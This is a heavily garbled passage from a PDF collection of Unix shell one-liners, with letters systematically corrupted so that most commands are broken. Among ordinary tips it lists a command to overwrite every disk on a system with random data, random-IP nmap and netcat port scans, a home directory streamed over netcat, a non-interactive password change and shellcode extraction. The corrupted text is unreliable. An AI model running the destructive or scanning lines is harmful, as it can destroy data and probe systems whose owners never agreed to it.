e o( all (iles not named 2e,tensionB on the current directory (ind 2 ma,depth type ( not iname 2Dp& ls 4a*) TOTA01=$] N6 print intETOTA0/ E"9?'9GG8MQ8 # [alidate openssh )ey F print chec)sum ssh)ey&en l ( pu%)eyB 4 a*) print $9 4 tr ds : 4 e&rep ie 8a("WBU98 # Rsync %et*een t*o servers rsync >av pro&ress ori&inal(ilesdirectory/ root7hostE<G:/path/to/destination/ # convert a pd( to Dpe& sips s (ormat Dpe& Qild2pd( out Qild2Dp& # Salva&e a %or)ed terminal echo -ctrl1v.-ctrl1o.-enter. # Remove all 2svn (olders (ind 2 name 2svn type d 4,ar&s rm r( # 3hec) i( a pac)a&e is installed2 dp)& l python
<( it is+ the version num%er *ill %e sho*n2
# 3roppin& a video (ile in ((mpe& ((mpe& i input(ile2avi croptop crop%ottom crople(t U" cropri&ht U" output(ile2avi
# Remove a ran&e o( lines (rom a (ile sed i -start.+-end.d -(ilename. # ,tract the contents o( an RM pac)a&e to your current directory *ithout installin& them2 rpm9cpio /path/to/(ile2rpm 4 cpio i d # Record cameras output to a avi (ile mencoder tv device=/dev/video tv:// ovc copy o video2avi # ;et current ^or& resolution via ,randr ,randr P4sed n s/2current BLE"WBLG , LE"WBLG+2/L,L9/p 294 / 658
All UNIX COMMANDS # Ietch the ;ate*ay %ac)up_date 1KI_2t&> somedirs # svn di(( colori>ed svn di(( di((cmd=8colordi((8 # ;enerate random sensi%le pass*ords+ and copy them to the clip%oard *hile true do curl s http://sensi%lepass*ord2com/Vharder= 4 tail n Z 4 head n 4 sed s-%r/. 4 cut c Z 4 c% sleep done # netstat *ith &roup %y Eip adressG netstat ntu 4 a*) $Z X /'E::((((:4"W4BG/ &su%E8::((((:8+88+$ZG print $Z 4 cut d: ( 4 sort 4 uniP c 4 sort nr # asily run a pro&ram in the %ac)&round *ithout losin& output (unction (or) EG t(=$Etemp(ile d /tmp p $2Gecho n 8$t(
8 $7 F.$t(F
# ;et all shellcode on %inary (ile (rom o%Ddump o%Ddump d 2/RO;RAM4&rep "Wa(B:4&rep v (ile4cut (9 d:4cut ( d 4tr s 4 tr Lt 4sed s/ $//&4sed s/ /LL,/&4paste d s 4sed s/'/8/4sed s/$/8/& # ;et movie len&th mplayer vo null ao null (rames " identi(y movie2avi 4 a*) IS=8=8 /<60N;TH/ H=intE$9/U""G M=intEE$9HU""G/"G S=intE$9K"G print H8:8M8:8S # Hide comments nocomments EG cat $ 4 e&rep v ':space:BB#4':space:BB$4':space:BB 4 sed /-!2./d 4 sed /-!/+/./d # Oneliner to &et domain names list o( all e,istin& domain names E(rom *i)ipediaG curl s http://en2m2*i)ipedia2or&/*i)i/0isto(
All UNIX COMMANDS i(con(i& *lan" h* ether ""::99:UU:??:ZZ # calculate ho* much %o&omips one cpu core has Eassumin& you have ? coresG2 cat /proc/cpuin(o 4 &rep Qo&oM<S 4 uniP 4 sed s/'2://& 4 a*) printE$ / ?G # ;et current ^or& resolution via ,randr ,randr P 4 a*) Icurrent I+ NR== &su%E8E 4currentG8+88Gprint $9 # list all (ile e,tensions in a directory (ind /path/to/dir type ( 4 &rep o L2'2/B$ 4 sort 4 uniP
# 6isplays the version o( the Ado%e Ilash plu&in installed strin&s /usr/li%/(lashplu&innon(ree/li%(lashplayer2so 4&rep '0N^ # Jorld 3up 0ive Score *atch n" notitle 8*Um http://***2livescore2com/ 4e&rep live "WHB1' B8 # ,port a su%set o( a data%ase mysPldump *here=8true 0A\"WB c%>A\"WB # 6o*nload streamin& video in mms mimms mms://oururl2*mv # Run a command+ redirectin& output to a (ile+ then edit the (ile *ith vim2 vimcmdEG $ . $9 FF vim $9 # Monitor connection statistics *ith netstat and *atch *atch n 8netstat ntu 4 sed +9d 4 a*) print L$ 4 sort 4 uniP c 4 sort ) 98 # Resi>e all C;s in a directory mo&ri(y resi>e "9? 2Dp& # Mortality 3ountdo*n *hile " B do e,pr 9UZ9""""" L _date 1Ks_ L _date date 8mmdd HH:MM:ss8 1Ks_ sleep clear done # convert a+%+c to Ea+%+cG (or use in S50 inclauses echo a+%+c 4 sed e s/+/L+L/& e s/'/LEL/ e s/$/LLG/ # Monitorin& sessions that arrive at your server *atch n d 8(in&er8 # list all (ile e,tensions in a directory (ind /path/to/dir type ( name 2 4 sed s72/2L2727 4 sort 4 uniP # shut o( the screen E Iool proo( G s*itchMonitor EG 0I=/tmp/screenloc) i( ( $0I B then rm $0I else touch $0I sleep 2 Z *hile ( $0I B do ,set dpms (orce o(( sleep 9 done (i 296 / 658
All UNIX COMMANDS # Puit &vim remotely &vim remotesend 8:P!-3R.8 # ANS< Terminal 3olor Test usin& python colortestpython # *&et multiple (iles Eor mirrorG (rom NT0Mprotected Sharepoint httppro,y=http://9]2"2"2:U9 *&et httpuser=domainLaccount httppass*ord=### p r l noremovelistin& 2 http://sp2corp2com/teams/Team/Shared K9"6ocuments/Iorms/Allip 8$82>ip 8 $ 4 sh # ANS< 9Z 3olor Test alias colortest=8python c L8printELn2DoinEE 2DoinEEL"UUUZ 1 strEEi 1 DGG 1 m 1 strEEi 1 DGG2lDustEZG 1 L"UU"mG i( i 1 D - 9Z else (or D in ran&eE"GBGG (or i in ran&eE"+ 9Z+ "GBGGL88 # Send apache lo& to syslo&n& 3ustom0o& 84nc u < ORT 8-U?.KK% Kd K^t Kh Kl Ku Kt L8KrL8K.s K% L8KRe(ereriL8 L8K @sera&entiL88
# Remove e,ecuta%le %it (rom all (iles in the current directory recursively+ e,cludin& other directories (ind 2 ! type d e,ec chmod , L # very Nth line position # ES6G sed n +$pnn (oo . (ooeveryUposition sed n 9+$pnn (oo . (ooeveryUposition9 sed n U+$pnn (oo . (ooeveryUpositionU # SPuish repeated delimiters into one echo 8hello::::there8 4 tr s : # &enerate a random " character pass*ord p*&en " # &enerate a ta%le o( " character random pass*ords # apache statistics &rep 8"/Sep/9"U8 access2lo&4 cut d (9 4 cut dB ( 4 a*) I: print $98:8$U 4 sort n) n)9 4 uniP c 4 a*) i( E$ . "G print $" # 3reate (ull %ac)ups o( individual (olders usin& (ind and tar&>ip
297 / 658
All UNIX COMMANDS (ind /mnt/stora&e/pro(iles/ ma,depth mindepth type d 4 *hile read d do tar(ile=_echo 8$d8 4 cut d 8/8 (Z_ destdir=8/local/%ac)updir/8 tar c>( $destdir/8$tar(ile8(ull2t&> $d done # Ii, the vi >sh %indin&s on u%untu sudo sed iori& /LEupL4do*nLG/s/'/#/ /etc/>sh/>shrc # phpdoc shortcut &ophpdocEG i( $# lt 9 B then echo $" - (ile . - title . pd( B return (i i( 8$U8 == pd( B then ot=6I:de(ault:de(ault else ot=HTM0:(rames:earthli (i phpdoc o $ot ( 8$8 t docs ti 8$98 # revent an <v address on an inter(ace (rom %ein& used as source address o( pac)ets2 ip addr chan&e 9"":d%::9::a% dev eth" pre(erredl(t " # sync t*o (olders e,cept hidden (iles rsync vau e,clude=2 SO@R3ATH/my(old TAR;TATH # chec) open ports E%oth ipv? and ipvG netstat plntu # 3reate incremental %ac)ups o( individual (olders usin& (ind and tar&>ip (ind /mnt/stora&e/pro(iles/ ma,depth mindepth type d 4 *hile read d do tar(ile=_echo 8$d8 4 cut d 8/8 (Z_ destdir=8/local/%ac)updir8 tar c>v( 8$destdir8/8$tar(ile8_date 1 KI_2t&> $d done # )ill a processEe2&2 con)yG %y its name+ use(ul *hen de%u&&in& con)y:G )ill _pido( con)y_ # ;enerate random < addresses nmap n iR " s0 4 cut d8 8 ( 9 # One liner to )ill a process *hen )no*in& only the port *here the process is runnin& )ill W _lso( t i :portnum%er_ # 3alculate N! echo $EE$EseP s "GGG # url shortner usin& &oo&les shortner api shorty EG curl s https://***2&oo&leapis2com/urlshortener/v/urlLV)eyL=A<Y H 3ontentType: application/Dson d 8lon&@rl8: 88$88 4 e&rep o http://&oo2&l/'8B # 3han&e a speci(ic value in a path echo /home/(oo/dir/%ar 4 a*) I/ v OIS=/ $U = 8dir98 # in& ,,,2,,,2,,,2,,, ip """"" times *ith si>e "9?%ytes pin& ,,,2,,,2,,,2,,, si>e "9? repeat """"" # [
All UNIX COMMANDS # Hidin& and Sho* (iles on Mac OS ^ set(ile a [ (oo2%ar set(ile a v (oo2%ar # 6irectory Tree (ind 2 type d print 4 sed e s'/B/2222222222&4a*) print $"8E8NR8G8
# Sort movies %y len&th+ lon&est (irst (or i in 2avi do echo n 8$i:8totem&streamervideoinde,er $i 4 &rep 6@RATip %est . /tmp/svn%ac)up2&>G 9.F 4 mutt s 8S[N %ac)up _date 1LKm/LKd/LK_8 a /tmp/svn%ac)up2&> emailaddress # 6isplay laptop %attery in(ormation acpi [ # &enerate (ile list modi(ied since last commit and e,port to tar (ile &it di((tree r nocommitid nameonly di(((ilter=A3MRT 3OMM<6HASH 4 ,ar&s tar r( mytar(ile2tar # rela%el current )onsole ta% alias r)=d=$Edcop4&rep $<6G FF s=$Edcop $d )onsole currentSessionG FF dcop $d $s renameSession # @se (ind to &et around Ar&ument list too lon& pro%lem (ind 2 name Dun)(iles print" 4 ,ar&s " rm # Iile %ro*ser ,d&open $Els 2 4 dmenuG # command line (u roulette *&et PO ***2commandline(u2com/commands/random 4 &rep 8-div class=L8commandL8.8 4 sed s/-'.B.//& s/' LtB// s/FPuot/8/& s/Flt/-/& s/F&t/./& s/Famp/LF/& # Replicate a directory structure droppin& the (iles (ind 2 type d print" 4 Ecd $6ST6A\" WL/2BG/sprint(E8KKK29,8+ ordE$GG/e& #convert9uri /tmp/a % ### convert (ile path to @R< # ,port unpushed (iles list 299 / 658
All UNIX COMMANDS &it lo& ori&in/master22master nameonly pretty=8(ormat:8 4 sort 4 uniP 4 ,ar&s tar r( mytar(ile2tar # cho the contents o( a @rl alias echourl=8*&et PO 8 # ed <s di(( -Enmap s W9222"/9? 4 &rep 'Host 4 sed s/2appears to %e up2//& 4 sed s/Host //&G auth2hosts 4 sed s/"WBa>+A\B"WB$// 4 sed s/-/@NA@THOR<\6 < /& # Another *ay to see the net*or) inter(aces ip addr sho* # 6irectory Tree tree d # 3onvert ;oo&le30 &mail contacts to cone adress %oo) &oo&le contacts list name+name+email4perl pne sK'EEV!NL/AGE21VGG+EEV!NL/AGE21VGG+Ea>" WL2B1L7Ea>"WBa>"WBa>"WBL2G1Ea>B1L2GVEa>B1GGK$:$U -$Z.Kim, #see %elo* (or (ull command # Summari>e si>e o( all (iles o( &iven type in all su%directories Ein %ytesG (ind 2 iname 2Dp& type ( print" 4perl " ne $a1=s $N6print 8$aLn8 # Suppress output o( loud commands you dont *ant to hear (rom (unction Puietly EG $ 9. /dev/null . /dev/null # ;et the si>e o( all the directories in current directory ESorted Human Reada%leG du h 4 sort hr # command line ;oo&le <m Ieelin& 0uc)y luc)yEG url=$Eecho 8http://***2&oo&le2com/searchVhl=enFP=$7F%tn<=< K9]m1Ieelin&10uc)yFaP=(FoP=8 4 sed s/ /1/&G lyn, $url luc)y 8mperor Norton8 # port scan usin& parallel seP 9ZZ 4 parallel D1" nc * > v W9222 "
# ;et num%er o( users on a minecra(t server Eecho e L,(e sleep G 4telnet 0 $HOST< 9ZZZ 9./dev/null 4a*) IL,a] $9 print 8users: 8$98/8$U # Puivalent to i(con(i& a in H@^ (or i in _netstat rn4e&rep v 8
All UNIX COMMANDS # chec) the (uc)in& *eather \<=?"? curl http://the(uc)in&*eather2com/V>ipcode=$\< 9./dev/null4&rep A div class=8lar&e84tr Ln 4sed s/'28lar&e8 .LE22LG/L/s/Fd2 -%r L/./ /s/-%r L/.//s/-L/div2$// # (ind coordinates o( a location (indlocationEG place=_echo $ 4 sed s/ /K9"/&_ curl s 8http://maps2&oo&le2com/maps/&eoVoutput=DsonFoe=ut(FP=$place8 4 &rep e 8address8 e 8coordinates8 4 sed e s/' // e s/8//& e s/address/Iull Address/ # S[N script (or automatically addin& and deletin& (iles svn status 4 &rep 'V 4 sed e s/'V /svn add 8/& e s/$/8/&4sh svn status 4 &rep '! 4 sed e s/'! /svn delete 8/& e s/$/8/&4sh # Open in Te,tMate Side%ar (iles ErecursivelyG *ith names matchin& R;^A and not matchin& R;^Q mate _(ind type ( re&e, R;^A 4 &rep v R;^Q_ # Sho* recent earthPua)es in Qay Area lyn, *idth=9"" dump http://Pua)e2us&s2&ov/recentePs/Maps/SanIranciscoePs2htm4sed ne /MA;2/+/'Re(erences/s/L"WB"WBLB//+/h:m:s/d/Qac) to map/+$d/'$/d/' LtB LtBUWBL2"WB"WB LtB LtB/p 4sort )nr # Sho* 6eviceMapper names (or 0[M [olumes Eto disam%i&uate iostat lo&s+ etcG sudo lvdisplay 4a*) /0[ Name/%loc)dev=$U /Qloc) device/%did=$U su%E8" WB:8+8dm8+%didG print %did+%loc)dev # Sho* demo o( toilet (onts (ind /usr/share/(i&let name 2Vl( e,ec %asename toilet (
L 4 sed e 8s/L22l($//8 4 ,ar&s <
# &itB Output remote ori&in (rom *ithin a local repository &it con(i& local &et remote2ori&in2url # Ho* to e,tract Z""" records (rom each ta%le in MyS50 mysPldump opt *here=8true 0ione . miod%ditest2sPl # &enerate a random " character pass*ord p*&en Q y " # (lush memcached via netcat echo (lushall 4 nc localhost 9 i --- Puit # Sho* device drivers and their properties EJindo*s ^G driverPuery /si /(o ta%le # Iind and copy scattered mpU (iles into one directory (ind 2 name 2mpU type ( e,ec sh c e,ec cp ( 8$78 /home/user/dir (indcopy 1 # Jait the end o( pro& and launch pro&9 p)ill " pro& *hile $V eP " B do sleep " p)ill " pro& done pro&9 # Qyte%eat echo mainEtG(orEt11GputcharEEEt--G'EEt--G1Et..]GFt..9GG4t..E?E']FEt..WGGG4t..]G 4 cc , c o cro*d FF 2/cro*d 4 aplay #
All UNIX COMMANDS %ad%loc)s c ZZU o /tmp/%ad%loc)s2out p 9 s v * /dev/hd^ . /tmp/%ad%loc)s2stdout 9. /tmp/%ad%loc)s2stderr # set a reminder (or Z days in the (uture echo 86
# Iast search in man (iles or %>(iles %y )ey*ord direct %y man or %> (iles %>&rep l 83OMM"WBa>"WBLG2/L/p 4 uniP # 3reate an eicar2com test virus echo YZQ!3K7N3?L3MYZ?E3'G]G]$R[NI;NA5N5NA;[<[HI;RI;S[R!$@1@ 4 tr A\a>B N\AMn>amB . /tmp/eicar2com # Qatch rename e,tension o( all (iles in a (older+ in the e,ample (rom 2t,t to 2md rename s/L2t,t$/L2md$/i # @ptime in minute %c --- _uptime 4 sed e s/'2up // e s/'"W:B2// 4 sed s/:/"1/&_ # Symlin) all (iles (rom a %ase directory to a tar&et directory ln s /%ase/ /tar&et FF ls l /tar&et # ;rep inside [im and navi&ate results :vim&rep pattern K # 0i)e top %ut (or (iles *atch d n 9 d( ls IlAt # print li% path o( perl perl e print map $ 2 8Ln8 7
All UNIX COMMANDS # A (unction to (ind the ne*est (ile in a directory ne*est EG 6 $3AN6<6AT BB do QST=$3AN6<6AT 3AN6<6AT=_(ind $6ero o(="&% %s=M count="9?" #
# Router discovery traceroute 9./dev/null n &oo&le2com 4 a*) /' /print $9e,it # A command to post a messa&e and an autoshortened lin) to T*itter2 The lin) shortenin& service is provide %y Tiny@R02 curl user 8@SRNAM:ASSJOR68 d status=8MSSA;;OSHR $Ecurl s http://tinyurl2com/apicreate2phpVurl=@R0;OSHRG8 d source=8c@R08 http://t*itter2com/statuses/update2Dson o /dev/null # Remove all unused )ernels *ith apt&et perl e chompE$)=_uname r_G (or E-/%oot/vm.G s/'2vmlinu>E$)GV// $l2=8linu,ima&e$ 8 system 8aptitude remove $l8 # na%le color pattern match hi&hli&htin& in &repEG e,port ;ROT
All UNIX COMMANDS ac)open EG local ,=8$Eac) l $ 4 ,ar&sG8 i( n $, BB then eval vim c 8/$B $,8 else echo 8No (iles (ound8 (i # Time conversion/(ormat usin& the date command date d 9"9Z "Z:?]:"W 18epoch: Ks or (ormat: K/Km/Kd8 # save stderr only to a (ile command U.F .F9 9.FU 4 tee (ile # Iind ho* (ar nested you are in su%shells echo 8< am $QASHS@QSH00 levels nested8 # eriodic 0o& 6eletion (ind /path/to/dir type ( mtime 1#B e,ec rm ( L # e,im statistics a%out mails (rom Pueue e,im %p 4 e,iPsumm c # Search &p& )eys (rom commandline &p& search)eys # Ma)e(ile ar&ument passin& ma)e tar&etB [AR=(oo%ar # Realy remove (ile (rom your drive (unction rrmEG (or i in $ do i( ( $i B then echo 8rrm rocessin& $i8 shred (orce remove >ero ver%ose $i else echo 83ant process $i8 type=$Estat 8$8 c KIG echo 8Iile $i is $type8 (i done # 3onvert ascii strin& to he, echo n te,t 4 perl pe s/E2G/sprint(E8LL,K,8+ ordE$GG/e& # ;enerate list o( *ords and their (rePuencies in a te,t (ile2 tr A\ a> 4 tr d 8:punct:BB:di&it:BB8 4 tr / Ln 4 sort 4 uniP c # auto complete ar&uments ls TAQBTAQB # Ho* to trim a video usin& ((mpe& ((mpe& i video2avi vcodec copy acodec copy ss "":"":"" t "":"":"? trimmedvideo2avi # list *ith (ull path ls d $J6/ # locatin& pac)a&es held %ac)+ such as *ith 8aptitude hold -pac)a&e.8 aptitude search Xahold # mean color o( an ima&e convert ima&e2Dp& resi>e , t,t: 4 tail 4 a*) &su%E/+LGB/+8 8G print $U1$?1$Z #
All UNIX COMMANDS # Mirror every lvol in v&"" in hpu, 2U (ind /dev/v&"" type % 4*hile read 0 do lve,tend m $0 /dev/dis)/-dis). done # Redirect %ash %uiltin output to stdout T
# ;enerate an ^Y36 #WU style ? *ord passphrase E(astG echo $Eshu( n? /usr/share/dict/*ordsG #
4A@TO4
4OII484osdcat p %ottom
# A trash (unction (or %ash trashput Dun)(older # Search speci(ied $T^T and Replace that %y speci(ied ar& E$T^T9G (ind 8$6e and num%er o( (iles %elo* any &iven svn directory svn list vR svn://server/repo/somedir 4 a*) i( E$U !=88G sum1=$U i11 N6 print 8Lntotal si>e= 8 sum/"9?"""8 MQ8 8Lnnum%er o( (iles= 8 i/""" 8 Y8 # Output entire line once per uniPue value o( the (irst column a*) !array$B11 (ile2t,t # See ho* many more processes are allo*ed+ a*esome! echo $EE _ulimit u_ _(ind /proc ma,depth LE user $@SR o &roup $;RO@NAM LG type d4*c l_ GG # u%untu tas)sel tas)sel listtas)s # set history (ile len&th e,port H
All UNIX COMMANDS # chec) spell in c source code &rep o h r 828 4 ispell l p X/mydict 4 sort u # Sum (ile si>es e,pr _(ind 2 type ( print( 8Ks 1 8"_ # recursive %ase? encodin& 3ipher (or the oor V str=pass*ord (or i in _seP "_ do echo e 8$strLn8 str=8$E%ase? --- $strG8 done # Remove all unused )ernels *ith apt&et sudo apt&et remove $Edp)& l4a*) /'ii linu,ima&e/print $94sed s/linu,ima&e//4a*) v v=_uname r_ v.$"4sed s/&enericpae//4a*) print(E8linu,headersKsLnlinu,headers Ks&enericLnlinu,ima&eKs&enericLn8+$"+$"+$"GG # send ra* data Ehe, *rittenGusin& @6 to an < and port echo n "9UUZ 4 perl pe s/E"Wa(B9G/chr he, $/&ie 4 nc ?u P pZ"" W922"2"" 9""" # ,ecute a command on multiple hosts in parallel (or host in host host9 hostU do ssh n user7$host -command. . $host2lo& F done *ait # ;ets the ^ Screen resolution RS=_,randr 4 &rep 4 sed s/LsLE"W,BLG2/L/_ echo $RS # Archive all (iles that have not %een modi(ied in the last days (ind /protocollo/pa(lo* type ( mtime 1Z 4 ,ar&s tar cv( /var/dumpprotocollo/_date 1KdKm Karchive2tar_ # Qi& E(our%yteG $RAN6OM print( Kd ",_dd i(=/dev/urandom %s= count=? 9./dev/null 4 od , 4 a*) NR== print $9$U_
# 6isa%le &raphical lo&in on Solaris /usr/dt/%in/dtcon(i& d # Analy>e a*) (ields tr 8 8 8Ln8 4 nl # ;et (ull @R0 via http://untr2im/api/aDa,/api @R0=tar&et2@R0B curl P d 8url=$@R08 http://untr2im/api/aDa,/api 4 a*) I hre(=8 print $U 4 a*) I 8 rel=8 print $ # list *ith (ull path ls d $J6/2+ # erl One 0iner to ;enerate a Random < Address perl e print( 8""::U:K"9^:K"9^:K"9^Ln8+ rand ",II+ rand ",II+ rand ",II # Output a SS0 certi(icate start or end date date date=8$Eopenssl ,Z"W in ,,,,,,2crt noout startdate 4 cut d= ( 9G8 iso" #
All UNIX COMMANDS d%ussend printreply dest=im2pid&in2purple2urpleService /im/pid&in/purple/urpleO%Dect im2pid&in2purple2urpleilla/?2"8 stream=$ Ecurl A 8$A;NT8 s)0m " 8$;OO;@R0L8$5/L /1L88 4 &rep o L/urlLVP=21VFamp 4 sed s/L/urlVP=//s/Famp//G echo e 8$stream//LK/L,8 # Cump to a directory+ e,ecute a command and Dump %ac) to current dir pushd /path/to/dir commandtoe,ecute popd # @se t *hen usin& (ind and cp (ind 2 name 82pd(8 print" 4 ,ar&s " cp t do*nloads/ # Open a Remote 6es)top ER6G session *ith a custom resolution2 mstsc /*:Z"" /h:W"" /v:***2e,ample2com # Multiline Search/Replace *ith erl perl i pe Q;
# shorten url usin& curl+ sed and is2&d 307 / 658
All UNIX COMMANDS curl s d @R0=8$8 http://is2&d/create2php 4 sed /our ne* shortened/!ds/2value=8L E'8BLG82/L/ # random ,)cd comic as ,ml curl s0 dynamic2,)cd2com/comic/random/ 4 a*) IL8 /'-im&/print(E8-V,ml version=L82"L8V .Ln-,)cd.Ln-item.Ln -title.Ks-/title.Ln -comment.Ks-/comment.Ln -ima&e. Ks-/ima&e.Ln-/item.Ln-/,)cd.Ln8+ $+ $?+ $9G # 6isplay error pa&es in report (ormat sudo a*) E$W X /?"?/G /var/lo&/httpd/***2domainaccesslo& 4 a*) print $9+$W+$]+$ 4 sort 4 uniP c # ;et si>e o( terminal alias termsi>e=echo $3O0@MNS , $0ipG 4 sed r 8s/2hre(=E21L2>ipG2/L/8 4 uniP 4 *hile read line do _*&et $line_ done # Yill all processes %elon&in& to a user ps (u $@SR 4 a*) print $9 4 ,ar&s )ill WB # 6elete All O%Dects Irom An SU Quc)et @sin& SUcmd sUcmd ls sU://%uc)et2e,ample2com 4 sUcmd del _a*) print $?_ # 0in) a deep tree o( (iles all into on directory (ind /deep/tree/ type ( print"4,ar&s " n < ln s 2 # Step#9 3reate a copy o( the %ootload and partition ta%le! dd i(=/dev/sda o(=/home/sam/MQR2ima&e %s=Z9 count= # list all (ile e,tensions in a directory ls 4 &rep o 8L2218 4 sort u # convert ascii strin& to he, ,,d p --- -STRv( 22/%ac)up2t&> # Te,t &raphin& pin& output (ilter pin& &2co4perl ne$4=/e=ELS1G/44ne,tEpush7+$G.U"FFshi(t7print8Lr8+ Emap8L,e9L,W82chrE91]$/Esort$%-=.$a7G"BG28 87G+8$ms8 # Ar&uments too lon& (ind 2 name 82t,t8 e,ec JHAT[R3OMMAN6 L # share internet connection *ith only one net*or) inter(ace i(con(i& eth": W922"2/9? # ;eneric shell (unction (or modi(yin& (iles inplace inplaceEG eval I=L8L$$#L8 8$78 . 8$I82ne* FF mv ( 8$I82ne* 8$I8 # 3ount T3 States Irom Netstat netstat an 4 a*) /tcp/ print $ 4 sort 4 uniP c # 3onvert m)v to S[36/6iv^ 308 / 658
All UNIX COMMANDS ((mpe& i movie2m)v tar&et vcd movie2avi # convert several Dp& into one pd( (ile convert 2Dp& IileOutput2pd( # tar a directory and send it to netcat tar c(v> /home/user 4 netcat l p """" # archlinu,: chec) *hich repository pac)a&es have updates availa%le pacman 5u # Iind out ho* old a *e% pa&e is curl
# colori>e comm output comm (ile (ile9 4 sed e s/''LtB2/L,%UUmFL,%"m/ e s/'Lt'LtB2/L,%UmFL,%"m/ e s/'LtLt'LtB2/L,%U9mFL,%"m/ # 6irectory %oo)mar)s %mEG e,port QM$V8%oo)mar) name missin&8=8$J68 (or&etEG unset QM$V8%oo)mar) name missin&8 # rename (iles accordin& to date created (or i in 2Dp& do dst=$Ee,i( t ",W""U m $i G FF dstesc=$Eecho $dst 4 sed s/ //& G FF echo mv $i $dstesc2Dp& done # 0int ;it unsta&ed H (iles &it status s 4 &rep o LSphp$ 4 *hile read ( do php l $( done # %ash or tcsh redirect %oth to stdout and to a (ile echo 8Hello Jorld28 4 tee a hello2t,t # list all opened ports on host time i=" *hile $EE i - ZZUZ GG eP B do nc >*9 localhost $EE11iGG FF echo port $i opened done # su%traction %et*een lines seP U 9" 4 sed n hdH,s/Ln/Lt/p 4 a*) print(E8Kd Kd = KdLn8+ $9+ $+ $9$G # 0ist the Si>es o( Iolders and 6irectories du h ma,depth= /path/(older/ # Turns hidden applications transparent in the Mac OS ^ doc)2 de(aults *rite com2apple26oc) sho*hidden %ool S # Mosco*M0 *ith edita%le inputline and history rl*rap mosml # ;et (irst ;it commit hash &it lo& pretty=(ormat:KH 4 tail # 0ist up&radea%le pac)a&es on @%untu 309 / 658
All UNIX COMMANDS apt&et i&norehold allo*unauthenticated s distup&rade 4 &rep 'ontal line tr Ln Lt - input(ile # 3ount the num%er o( man pa&es per (irst character Ea>G (or i in a22> do man ) $i 4&rep i 8'$i8 4*c 4 a*) Q; compression tar cC( myarchive2tar2,> /path/to/archive/ # rint uniPue ipaddresses as they come in (rom Apache Access 0o& Iile tail ( /var/lo&/apache9/access2lo& 4 a*) J interactive !,$B11 print $
# Replace spaces in a (ile *ith hyphens sed i s/ //& # (ind (iles %e&innin& *ith (ilename that do not include 8strin&8 &rep 0 8strin&8 (ilename # 3han&es a @ser ass*ord via command line *ithout promt echo e 8ne*pass*ordLnne*pass*ord8 4 Epass*d stdin $@SRG # A si&nal trap that lo&s *hen your script *as )illed and *hat other processes *ere runnin& at that time trap 8echo L8$" process $$ )illed on $EdateG2L8 4 tee $"##/$$termination2lo& echo Active processes at the time *ere lo&&ed to $"##/$$termination2lo& ps u .. $"##/$$termination2lo& e,it 8 H@
All UNIX COMMANDS # ;et all <s via i(con(i& i(con(i& 4 a*) I:4 1 /ddr:/print $? # Searches $ATH (or (iles usin& &rep
All UNIX COMMANDS Pd%us 4 &rep )screenloc)er&reet 4 ,ar&s < Pd%us /MainApplication Puit # 6isplay / vie* the contents o( the mani(est *ithin a Cava Dar (ile $ un>ip p someDar(ile2Dar MTA
# See all the commits (or *hich searchstrin& appear in the &it di(( &it lo& p > 4 perl ln"e print i( /1B2searchedstrin&/ # 3hec) i( the 6e%ian pac)a&e *as used since its installation/up&rade2 pac)a&e=$ list=/var/li%/dp)&/in(o/$pac)a&e2list inst=$Estat 8$list8 c K^G cat $list 4 E*hile read (ile do i( ( 8$(ile8 Bthen acc=$Estat 8$(ile8 c K^G i( $inst lt $acc B then echo used $(ile e,it " (i (i done e,it G # (ind (iles i&norin& 2svn and its decendents (ind 2 type d name 2svn prune o type ( print" 4 ,ar&s r" 222 # 3ount &it commits since speci(ic commit &it lo& pretty=oneline %Z%U22 4 *c l # 6rop%o, lo&in usin& only curl+ sed and %ash lin)=https://***2drop%o,2com/lo&in curl % a c coo)ie d 8t=$Ecurl c a $lin) 4 sed rn s/2TOYN: 8E'8BG2/L/pGFlo&inemail=meK?"yahoo2comFlo&inpass*ord=mypass*d8 $lin) # ;\ip all (iles in a directory separately (or (ile in 2(oo do &>ip 8$(ile8 done # convert *mv into ,vid avi (ormat mencoder ovc ,vid oac mpUlame srate ??"" a( lavcresample=??"" ,videncopts (i,edPuant=? Ioo2*mv o Qar2avi # Trim pn& (iles in a (older mo&ri(y trim pn& # list services runnin& Eas rootG service statusall 4 &rep runnin& # Have netcat listenin& on your ports and use telnet to test connection SR[R: nc l p 30<NT: telnet l p # ;\ip all (iles in a directory separately ls 4 ,ar&s n &>ip # 6[6Rip mplayer dvd:// dumpstream alan& es dump(ile 8$dir6estino8/8$titulo6[682mp& FF ((mpe& i 8$dir6estino/$titulo6[62mp&8 acodec li%mpUlame alan& spa vcodec li%,9? cr( 9 vpre hP threads " 8$dir6estino/$titulo6[62mp?8 # 6o*nload an ntire *e%site *ith *&et *&et m ) Y http://url/o(/*e%/site # lay radio stream *ith mplayer mplayer nolirc http://Z9ZU2live2streamthe*orld2com/[
All UNIX COMMANDS # 6o*nload all music (iles o(( o( a *e%site usin& *&et *&et r l H nd A mpU e ro%ots=o(( http://e,ample/url # search installed (iles o( pac)a&e+ that doesnt remem%er his name *ell2 On rpm systems rpm Pa 4 &rep A3YA;NAM 4 ,ar&s rpm P (iles%yp)& # add a %ac)up Eor any otherG su((i, to a (ile mv vi (ile+X # &et detailed in(o a%out a lan card on H@^ 2U n*m&r P in(o c lan" # 3hec) the pac)a&e is installed or not2 There *ill sho* the pac)a&e name *hich is installed2 dp)& l 4 cut d ( U 4 &rep 'python$ # [irtual%o,: setup hard*are [Qo,Mana&e modi(yvm 8vmname8 memory 9Z acpi on ioapic o(( pae on h*virte, on nestedpa&in& on # 0ist the Si>es o( Iolders and 6irectories du hs /path/to/(older/ # 6estroy all dis)s on system simultaneously (or i in _sudo /s%in/(dis) l 4&rep 6is) 4&rep dev 4a*) print $9 4sed s/://&_ do sudo /usr/%in/dd i(=/dev/urandom o(=$i %s=M F done # [ie* a sopcast stream Espsc sop://%ro)er2sopcast2com:UW9/""9 UW"" W"" F./dev/null FG sleep " mplayer http://localhost:W""/tv2as( # Num%er o( 3@s in a system &rep c 'processor /proc/cpuin(o
